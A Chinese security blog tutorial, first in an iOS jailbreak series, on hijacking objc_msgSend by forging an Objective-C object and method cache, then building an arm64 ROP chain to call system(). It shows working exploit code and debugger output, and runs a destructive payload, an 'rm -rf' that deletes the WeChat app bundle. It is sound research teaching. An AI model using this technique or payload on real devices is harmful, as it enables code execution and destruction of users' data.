iOS冰与火之歌

iOS冰与火之歌 – Objective-C Pwn and iOS arm64 ROP

蒸米 · 2016/01/26 10:29

0x00 序



冰指的是用户态,火指的是内核态。如何突破像冰箱一样的用户态沙盒最终到达并控制如火焰一般燃烧的内核就是《iOS冰与火之歌》这一系列文章将要讲述的内容。目录如下:

  1. Objective-C Pwn and iOS arm64 ROP
  2. █████████████
  3. █████████████
  4. █████████████
  5. █████████████

另外文中涉及代码可在我的github下载:
https://github.com/zhengmin1989/iOS_ICE_AND_FIRE

0x01 什么是Objective-C



Objective-C是扩充C的面向对象编程语言。语法和C非常像,但实现的机制却和java非常像。我们先来看一个简单的Hello,World程序了解一下。


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

Talker.h:

#import <Foundation/Foundation.h>

@interface Talker : NSObject

- (void) say: (NSString*) phrase;

@end

Talker.m:

#import "Talker.h"

@implementation Talker

- (void) say: (NSString*) phrase {

  NSLog(@"%@n", phrase);

}

@end

hello.m:

int main(void) {   

  Talker *talker = [[Talker alloc] init];

  [talker say: @"Hello, Ice and Fire!"];

  [talker say: @"Hello, Ice and Fire!"];

  [talker release];

}

因为测试机是ipad mini 4,这里我们只编译一个arm64版本的hello。我们先make一下,然后我们用scp把hello传到我们的ipad上面,然后尝试运行一下:

如果我们能够看到”Hello, Ice and Fire!”,那么我们的第一个Objective-C程序就完成了。

0x02 Objc_msgSend



我们接下来看一下用ida对hello进行反汇编后的结果:

我们发现程序中充满了objc_msgSend()这个函数。这个函数可以说是Objective-C的灵魂函数。在Objective-C中,message与方法的真正实现是在执行阶段绑定的,而非编译阶段。编译器会将消息发送转换成对objc_msgSend方法的调用。

objc_msgSend方法含两个必要参数:receiver、方法名(即:selector)。比如如:

[receiver message];将被转换为:objc_msgSend(receiver, selector);

另外每个对象都有一个指向所属类的指针isa。通过该指针,对象可以找到它所属的类,也就找到了其全部父类,如下图所示:

当向一个对象发送消息时,objc_msgSend方法根据对象的isa指针找到对象的类,然后在类的调度表(dispatch table)中查找selector。如果无法找到selector,objc_msgSend通过指向父类的指针找到父类,并在父类的调度表(dispatch table)中查找selector,以此类推直到NSObject类。一旦查找到selector,objc_msgSend方法根据调度表的内存地址调用该实现。通过这种方式,message与方法的真正实现在执行阶段才绑定。

为了保证消息发送与执行的效率,系统会将全部selector和使用过的方法的内存地址缓存起来。每个类都有一个独立的缓存,缓存包含有当前类自己的selector以及继承自父类的selector。查找调度表(dispatch table)前,消息发送系统首先检查receiver对象的缓存。缓存命中的情况下,消息发送(messaging)比直接调用方法(function call)只慢一点点。

其实关于objc_msgSend这个函数,Apple已经提供了源码
(比如arm64版本: http://www.opensource.apple.com/source/objc4/objc4-647/runtime/Messengers.subproj/objc-msg-arm64.s)

为了有更高的效率,objc_msgSend这个函数是用汇编实现的:

首先函数会检测传递进来的第一个对象是否为空,然后计算MASK。随后就会进入缓存函数去寻找是否有selector对应的缓存:

如果这个selector曾经被调用过,那么在缓存中就会保存这个selector对应的函数地址,如果这个函数再一次被调用,objc_msgSend()会直接跳转到缓存的函数地址。

但正因为这个机制,如果我们可以伪造一个receiver对象的话,我们就可以构造一个缓存的selector的函数地址,随后objc_msgSend()就会跳转到我们伪造的缓存函数地址上,从而让我们可以控制PC指针。

0x03 动态调试Objc_msgSend



在我们讲如何伪造objc对象控制pc前,我们先分析一下运行时的Objc_msgSend()函数。这里我们用lldb进行调试。我们先在ipad上用debugserver启动hello这个程序:


1

2

3

4

5

Minde-iPad:/tmp root# debugserver *:1234 ./hello

[email protected](#)PROGRAM:debugserver  PROJECT:debugserver-340.3.51.1

 for arm64.

Listening to port 1234 for a connection from *...

Got a connection, launched process ./hello (pid = 1546).

然后在自己的pc上用lldb进行远程连接:


1

2

3

4

5

6

7

8

9

10

11

lldb

(lldb) process connect connect://localhost:5555

2016-01-17 14:58:39.540 lldb[59738:4122180] Metadata.framework [Error]: couldn‘t get the client port

Process 1546 stopped

* thread #1: tid = 0x2b92f, 0x0000000120041000 dyld`_dyld_start, stop reason = signal SIGSTOP

    frame #0: 0x0000000120041000 dyld`_dyld_start

dyld`_dyld_start:

->  0x120041000 <+0>:  mov    x28, sp

    0x120041004 <+4>:  and    sp, x28, #0xfffffffffffffff0

    0x120041008 <+8>:  movz   x0, #0

    0x12004100c <+12>: movz   x1, #0

接着我们可以在main函数那里设置一个断点:


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

(lldb) break set --name main

Breakpoint 1: no locations (pending).

WARNING:  Unable to resolve breakpoint to any actual locations.

(lldb) c

Process 1546 resuming

1 location added to breakpoint 1

7 locations added to breakpoint 1

Process 1546 stopped

* thread #1: tid = 0x2b92f, 0x0000000100063e48 hello`main, queue = ‘com.apple.main-thread‘, stop reason = breakpoint 1.1

    frame #0: 0x0000000100063e48 hello`main

hello`main:

->  0x100063e48 <+0>:  stp    x22, x21, [sp, #-48]!

    0x100063e4c <+4>:  stp    x20, x19, [sp, #16]

    0x100063e50 <+8>:  stp    x29, x30, [sp, #32]

    0x100063e54 <+12>: add    x29, sp, #32

我们用disas反编译一下main函数:

接下来我们在0x100063e94和0x100063ea4处下两个断点:


1

2

3

4

(lldb) b *0x100063e94

Breakpoint 2: where = hello`main + 76, address = 0x0000000100063e94

(lldb) b *0x100063ea4

Breakpoint 3: where = hello`main + 92, address = 0x0000000100063ea4

随后我们继续运行程序,然后用po $x0x/s $x1可以看到receiver和selector的内容:


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

(lldb) c

Process 1546 resuming

Process 1546 stopped

* thread #1: tid = 0x2b92f, 0x0000000100063e94 hello`main + 76, queue = ‘com.apple.main-thread‘, stop reason = breakpoint 2.1

    frame #0: 0x0000000100063e94 hello`main + 76

hello`main:

->  0x100063e94 <+76>: bl     0x100063f18               ; symbol stub for: objc_msgSend

    0x100063e98 <+80>: mov    x0, x19

    0x100063e9c <+84>: mov    x1, x20

    0x100063ea0 <+88>: mov    x2, x21

(lldb) po $x0

<Talker: 0x154604510>

(lldb) x/s $x1

0x100063f77: "say:"

这里可以看到receiver和selector分别为Talker和say。因此我们可以通过po $x2来知道say这个方法的参数的内容,也就是“ Hello, Ice and Fire!”


1

2

(lldb) po $x2

Hello, Ice and Fire!

随后我们用si命令进入objc_msgSend()这个函数:


1

2

3

4

5

6

7

* thread #1: tid = 0x2b92f, 0x0000000199c1dbc0 libobjc.A.dylib`objc_msgSend, queue = ‘com.apple.main-thread‘, stop reason = instruction step into

    frame #0: 0x0000000199c1dbc0 libobjc.A.dylib`objc_msgSend

libobjc.A.dylib`objc_msgSend:

->  0x199c1dbc0 <+0>:  cmp    x0, #0

    0x199c1dbc4 <+4>:  b.le   0x199c1dc2c               ; <+108>

    0x199c1dbc8 <+8>:  ldr    x13, [x0]

    0x199c1dbcc <+12>: and    x9, x13, #0x1fffffff8

我们接着使用disas来看一下objc_msgSend的汇编代码:


1

2

3

4

5

6

7

8

9

10

11

12

13

14

(lldb) disas

libobjc.A.dylib`objc_msgSend:

    0x199c1dbc0 <+0>:   cmp    x0, #0

->  0x199c1dbc4 <+4>:   b.le   0x199c1dc2c               ; <+108>

    0x199c1dbc8 <+8>:   ldr    x13, [x0]

    0x199c1dbcc <+12>:  and    x9, x13, #0x1fffffff8

    0x199c1dbd0 <+16>:  ldp    x10, x11, [x9, #16]

    0x199c1dbd4 <+20>:  and    w12, w1, w11

    0x199c1dbd8 <+24>:  add    x12, x10, x12, lsl #4

    0x199c1dbdc <+28>:  ldp    x16, x17, [x12]

    0x199c1dbe0 <+32>:  cmp    x16, x1

    0x199c1dbe4 <+36>:  b.ne   0x199c1dbec               ; <+44>

0x199c1dbe8 <+40>:  br     x17

    ……

可以看到objc_msgSend最开始做的事情就是从class的缓存中获取selector和对应的地址(ldp x16, x17, [x12]),然后用缓存的selector和objc_msgSend()的selector进行比较(cmp x16, x1),如果匹配的话就跳转到缓存的selector的地址上(br x17)。但由于我们是第一次执行[talker say],缓存中并没有对应的函数地址,因此objc_msgSend()还要继续执行_objc_msgSend_uncached_impcache去类的方法列表里查找say这个函数的地址。

那么我们就继续执行程序,来看一下第二次调用say函数的话会怎么样。


1

2

3

4

5

6

7

8

(lldb) disas

libobjc.A.dylib`objc_msgSend:

    0x199c1dbc0 <+0>:   cmp    x0, #0

    0x199c1dbc4 <+4>:   b.le   0x199c1dc2c               ; <+108>

    0x199c1dbc8 <+8>:   ldr    x13, [x0]

    0x199c1dbcc <+12>:  and    x9, x13, #0x1fffffff8

    0x199c1dbd0 <+16>:  ldp    x10, x11, [x9, #16]

->  0x199c1dbd4 <+20>:  and    w12, w1, w11

当我们继续执行程序进入objc_msgSend后,在执行完"ldp x10, x11, [x9, #16]"这条指令后,x10会指向保存了缓存数据的地址。我们用x/10gx $x10来查看一下这个地址的数据,可以看到init()say()这两个函数都已经被缓存了:


1

2

3

4

5

6

7

8

9

10

11

12

(lldb) x/10gx $x10

0x146502e10: 0x0000000000000000 0x0000000000000000

0x146502e20: 0x0000000000000000 0x0000000000000000

0x146502e30: 0x000000018b0f613e 0x0000000199c26a6c

0x146502e40: 0x0000000100053f37 0x0000000100053ea4

0x146502e50: 0x0000000000000004 0x000000019ccad6f8

(lldb) x/s 0x000000018b0f613e

0x18b0f613e: "init"

(lldb) x/s 0x0000000100053f37

0x100053f37: "say:"

前一个数据是selector的地址,后一个数据就是selector对应的函数地址,比如say()这个函数:


1

2

3

4

5

6

7

8

9

10

11

(lldb) x/10i 0x0000000100053ea4

    0x100053ea4: 0xa9bf7bfd   stp    x29, x30, [sp, #-16]!

    0x100053ea8: 0x910003fd   mov    x29, sp

    0x100053eac: 0xd10043ff   sub    sp, sp, #16

    0x100053eb0: 0xf90003e2   str    x2, [sp]

    0x100053eb4: 0x10000fa0   adr    x0, #500                  ; @"%@n"

    0x100053eb8: 0xd503201f   nop   

    0x100053ebc: 0x94000004   bl     0x100053ecc               ; symbol stub for: NSLog

    0x100053ec0: 0x910003bf   mov    sp, x29

    0x100053ec4: 0xa8c17bfd   ldp    x29, x30, [sp], #16

    0x100053ec8: 0xd65f03c0   ret

0x04 伪造ObjC对象控制PC



正如我之前提到的,如果我们可以伪造一个ObjC对象,然后构造一个假的cache的话,我们就有机会控制PC指针了。既然如此我们就来试一下吧。首先我们需要找到selector在内存中的地址,这个问题可以使用NSSelectorFromString()这个系统自带的API来解决,比如我们想知道”release”这个selector的地址,就可以使用NSSelectorFromString(@"release")来获取。

随后我们要构建一个假的receiver,假的receiver里有一个指向假的objc_class的指针,假的objc_class里又保存了假的cache_buckets的指针和mask。假的cache_buckets的指针最终指向我们将要伪造的selectorselector函数的地址:


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

struct fake_receiver_t

{

    uint64_t fake_objc_class_ptr;

}fake_receiver;

struct fake_objc_class_t {

    char pad[0x10];

    void* cache_buckets_ptr;

    uint32_t cache_bucket_mask;

} fake_objc_class;

struct fake_cache_bucket_t {

    void* cached_sel;

    void* cached_function;

} fake_cache_bucket;

接下来我们在main函数中尝试将talker这个receiver改成我们伪造的receiver,然后利用伪造的”release” selector来控制PC指向0x41414141414141这个地址:


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

int main(void) {

    Talker *talker = [[Talker alloc] init];

    [talker say: @"Hello, Ice and Fire!"];

    [talker say: @"Hello, Ice and Fire!"];

    [talker release];

    fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");

    NSLog(@"cached_sel = %p", NSSelectorFromString(@"release"));

    fake_cache_bucket.cached_function = (void*)0x41414141414141;

    NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);

    fake_objc_class.cache_buckets_ptr = &fake_cache_bucket;

    fake_objc_class.cache_bucket_mask=0;

    fake_receiver.fake_objc_class_ptr=&fake_objc_class;

    talker= &fake_receiver;

    [talker release];

}

OK,接下来我们把新编译的hello传到我们的ipad上,然后用debugserver进行调试:


1

2

3

4

5

Minde-iPad:/tmp root# debugserver *:1234 ./hello

[email protected](#)PROGRAM:debugserver  PROJECT:debugserver-340.3.51.1

 for arm64.

Listening to port 1234 for a connection from *...

Got a connection, launched process ./hello (pid = 1891).

然后我们用lldb进行连接,然后直接运行:


1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

MacBookPro:objpwn zhengmin$ lldb

(lldb) process connect connect://localhost:5555

2016-01-17 22:02:45.681 lldb[61258:4325925] Metadata.framework [Error]: couldn‘t get the client port

Process 1891 stopped

* thread #1: tid = 0x36eff, 0x0000000120029000 dyld`_dyld_start, stop reason = signal SIGSTOP

    frame #0: 0x0000000120029000 dyld`_dyld_start

dyld`_dyld_start:

->  0x120029000 <+0>:  mov    x28, sp

    0x120029004 <+4>:  and    sp, x28, #0xfffffffffffffff0

    0x120029008 <+8>:  movz   x0, #0

    0x12002900c <+12>: movz   x1, #0

(lldb) c

Process 1891 resuming

2016-01-17 22:02:48.575 hello[1891:225023] Hello, Ice and Fire!

2016-01-17 22:02:48.580 hello[1891:225023] Hello, Ice and Fire!

2016-01-17 22:02:48.581 hello[1891:225023] cached_sel = 0x18b0f7191

2016-01-17 22:02:48.581 hello[1891:225023] fake_cache_bucket.cached_function = 0x41414141414141

Process 1891 stopped

* thread #1: tid = 0x36eff, 0x0041414141414141, queue = ‘com.apple.main-thread‘, stop reason = EXC_BAD_ACCESS (code=257, address=0x41414141414141)

    frame #0: 0x0041414141414141

error: memory read failed for 0x41414141414000

可以看到我们成功的控制了PC,让PC指向了0x41414141414141。

0x05 iOS上的arm64 ROP



虽然我们控制了PC,但在iOS上我们并不能采用nmap()或者mprotect()将内存改为可读可写可执行,如果我们想要让程序执行一些我们想要的指令的话必须要使用ROP。如果对于ROP不太了解的话,我推荐阅读一下我写的《一步一步学ROP》系列文章(http://drops.wooyun.org/papers/11390)

在各个系统中ROP的基本思路是一样的,这里我就简单介绍一下iOS上ROP的思路。

首先要知道的是,在iOS上默认是开启ASLR+DEP+PIE的。ASLR和DEP很好理解,PIE的意思是program image本身在内存中的地址也是随机的。所以我们在iOS上使用ROP技术必须配合信息泄露的漏洞才行。虽然在iOS上写ROP非常困难,但有个好消息是虽然program image是随机的,但是每个进程都会加载的dyld_shared_cache这个共享缓存的地址在开机后是固定的,并且每个进程的dyld_shared_cache都是相同的。这个dyld_shared_cache有好几百M大,基本上可以满足我们对gadgets的需求。因此我们只要在自己的进程获取dyld_shared_cache的基址就能够计算出目标进程gadgets的位置。

dyld_shared_cache文件一般保存在/System/Library/Caches/com.apple.dyld/这个目录下。我们下载下来以后就可以用ROPgadget这个工具来搜索gadget了。我们先实现一个简单的ROP,用system()函数执行”touch /tmp/IceAndFire”。因为我们x0是我们控制的fake_receiver的地址,因此我们可以搜索利用x0来控制其他寄存器的gadgets。比如下面这条:


1

ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1

随后我们可以构造一个假的结构体,然后给对应的寄存器赋值:


1

2

3

4

5

6

7

8

9

10

11

12

13

14

struct fake_receiver_t

{

    uint64_t fake_objc_class_ptr;

    uint8_t pad1[0x70-0x8];

    uint64_t x0;

    uint8_t pad2[0x98-0x70-0x8];

    uint64_t x1;

    char cmd[1024];

}fake_receiver;

fake_receiver.x0=(uint64_t)&fake_receiver.cmd;

fake_receiver.x1=(void *)dlsym(RTLD_DEFAULT, "system");

NSLog(@"system_address = %p", (void*)fake_receiver.x1);

strcpy(fake_receiver.cmd, "touch /tmp/IceAndFire");

最后我们将cached_function的值指向我们gagdet的地址就能控制程序执行system()指令了:


1

2

3

4

5

6

uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation");

NSLog(@"CoreFoundationbase address = %p", (void*)CoreFoundation_base);

//0x00000000000dcf7c  ldr x1, [x0, #0x98] ; ldr x0, [x0, #0x70] ; cbz x1, #0xdcf9c ; br x1

fake_cache_bucket.cached_function = (void*)CoreFoundation_base + 0x00000000000dcf7c;

NSLog(@"fake_cache_bucket.cached_function = %p", (void*)fake_cache_bucket.cached_function);

编译完后,我们将hello这个程序传输到iOS上测试一下:

发现/tmp目录下已经成功的创建了IceAndFire这个文件了。

有人觉得只是在tmp目录下touch一个文件并不过瘾,那么我们就尝试一下删除其他应用吧。应用的运行文件都保存在”/var/mobile/Containers/Bundle/Application/”目录下,比如微信的运行程序就在”/var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/WeChat.app/WeChat”下(注意ED6F728B-CC15-466B-942B-FBC4C534FF95这个值是在app安装时随机分配的)。于是我们将cmd指令换成:


1

strcpy(fake_receiver.cmd, "rm -rf /var/mobile/Containers/Bundle/Application/ED6F728B-CC15-466B-942B-FBC4C534FF95/");

然后再执行一下hello这个程序。程序运行后我们会发现微信的app图标还在,但当我们尝试打开微信的时候app就会秒退。这是因为虽然app被删了但springboard依然会有图标的缓存。这时候我们只要重启一下springboard或者手机就可以清空对应的图标的缓存了。这也就是为啥demo中的视频需要重启一下手机的原因:

0x06 总结



这篇文章简单介绍了iOS上Objective-C 的利用以及iOS 上arm64 ROP,这些都是越狱需要掌握的最基本的知识。要注意的事,能做到执行system指令是因为我们是在越狱环境下以root身份运行了我们的程序,在非越狱模式下app是没有权限执行这些system指令的,想要做到这一点必须利用沙箱逃逸的漏洞才行,我们会在随后的文章中介绍这些过沙箱的技术,敬请期待。

另外,另外文中涉及代码可在我的github下载:

https://github.com/zhengmin1989/iOS_ICE_AND_FIRE

0x07 参考资料


  1. Objective-C消息机制的原理 http://dangpu.sinaapp.com/?p=119
  2. Abusing the Objective C runtime http://phrack.org/issues/66/4.html

收藏

分享

碎银子打赏,作者好攒钱娶媳妇:

小荷才露尖尖角 2016-01-27 08:28:07

6666

回复

rain 2016-01-26 17:56:39

怎么在Mac下将oc编译arm平台的程序,楼主可以简单说下么

回复

ruby 2016-01-26 17:00:54

学习

时间: 2024-10-05 14:32:25

iOS冰与火之歌的相关文章

iOS冰与火之歌番外篇 - 在非越狱手机上进行App Hook(转载)

作者简介:郑旻(花名蒸米),阿里巴巴移动安全部门资深安全工程师,香港中文大学移动安全(Android & iOS)方向博士,曾在腾讯.百度以及硅谷的FireEye实习.在博士期间发表了多篇移动安全方向的论文(BlackHat.AsiaCCS等),去过10多个不同的国家做论文演讲. 曾帮助Apple公司修复了多处iOS安全问题,并且Apple在官网表示感谢.同时也是蓝莲花战队和Insight-labs的成员,在业余时间多次参加信息安全竞赛(Defcon.AliCTF.GeekPwn等),并取得优异

冰与火之歌第六季了

我好想那个带我看冰与火之歌的那个人 好想好想 整整一年了 . . .

AI创投的冰与火之歌:泡沫、跟风、短板和有钱花不出去的沮丧【转】

转自:http://36kr.com/p/5071386.html 国内的AI行业仍处于野蛮生长阶段.热钱不少,优质项目却不多.创业者拿钱难,投资者有钱却花不出去. 编者按:本文来自微信公众号“刺猬公社”(ID:ciweigongshe),作者哲铭:36氪经授权发布. 江山代有风口出,各领风骚一两年.这两年在全世界的创投圈都异军突起的人工智能(AI),最近风头似乎被共享充电宝盖过了.AI创投圈呈现出一面是冰.一面是火的奇异景象. 今年3月5日雷军表示,小米将增加对人工智能的投资.恰巧就在同一天,

冰与火之歌:浏览器前缀

以下内容摘自<CSS揭秘>一书 在标准的开发过程中,总是有大大的"第22 条军规"1①挡在面前:标准的工作组需要网页开发者这一端的输入,以确保各项规范可以处理真实的开发需求:但是开发者往往没有兴趣尝试那些在生产环境中还不能使用的东西.当实验性的技术被广泛应用到生产时,工作组就被这些技术早期的.实验性的版本捆住手脚了,因为一旦这些技术有变动,那些已经在用这些技术的网站就挂了.显然,这完全否定了让开发者尝试早期标准的好处. 这些年来,为了解决这个难题,许多方案被提了出来,但都不

冰与火的盛夏 --&gt; 贪婪砸盘的反思

1,群主预测提示 一早群里群主提示:盘面很可能会选择回调,不管是真的熊市来临,还是短暂回调,3940左右将是反弹关键点位,也就是说,如果持续回调的话,按照正常调整力度,礼拜二或者礼拜三将是最佳建仓时机.调整的可能性最大,因为上周五那点回调力度是没有意义的,无论是洗筹还是解放抛压盘都不可能短短时间内完成,但是也并非绝对,从周五期货尾盘情况看,买空力量并不是太强,而周五成交量也是短期内高点,也就证明周五那天买入力量并不小,所以并不排除周一反红阳线试探上攻4200的可能. 基于盘面情况,给大家的建议是

心之灯与冰的火――略谈鲁迅小说中的幽默与讽刺

http://passport.baidu.com/?business&un=%E5%B0%8F%E5%A7%90%E6%89%BE%E7%94%B5%E8%AF%9D%E6%96%B0%E9%83%BDhttp://passport.baidu.com/?business&un=%E5%B0%8F%E5%A7%90%E6%89%BE%E7%94%B5%E8%AF%9D%E5%B0%8F%E6%B2%B3http://passport.baidu.com/?business&un=

微信双开是定时炸弹?关于非越狱iOS上微信分身高危插件ImgNaix的分析

作者:蒸米@阿里移动安全 序言 微信作为手机上的第一大应用,有着上亿的用户.并且很多人都不只拥有一个微信帐号,有的微信账号是用于商业的,有的是用于私人的.可惜的是官方版的微信并不支持多开的功能,并且频繁更换微信账号也是一件非常麻烦的事,于是大家纷纷在寻找能够在手机上登陆多个微信账号的方法,相对于iOS,Android上早就有了很成熟的产品,比如360 OS的微信双开和LBE的双开大师就可以满足很多用户多开的需求. 但是在iOS上,因为苹果的安全机制,并没有任何知名的IT厂商推出微信多开的产品,反

Use-After-Free

0x00 UAF利用原理 uaf漏洞产生的主要原因是释放了一个堆块后,并没有将该指针置为NULL,这样导致该指针处于悬空的状态(这个指针可以称为恶性迷途指针),同样被释放的内存如果被恶意构造数据,就有可能会被利用. 0x01 UAF漏洞的利用步骤 (1)先精心构造一个迷途指针 (2)再精心构造数据填充被释放的内存区域 (3)再次使用该指针,改变程序流程 0x02 Pwnable.kr-uaf 源码如下; 1 #include <fcntl.h> 2 #include <iostream&

冰火迷论坛的网站logo设计制作

楼主喜欢<冰与火之歌>,无意中发现一个论坛,http://www.icefirefans.com  ,客户端的logo看起来,挺有立体感的,很喜欢. 自己摸索了一下,用PS试了几次,做了出来,步骤如下: 1.新建大小合适的画布 2.选择设计图形 3.放置图形,并复制图层 4. Copy图形 选中复制的图层,按CTRL+T选择图形. 5.复制图形 按着shift + alt 拉上图四角的任一角至合适大小. 6.放置文字,并调整 7.中间的圆圈放置其他图形 8.点击“背景”前面的眼睛,并在形状2上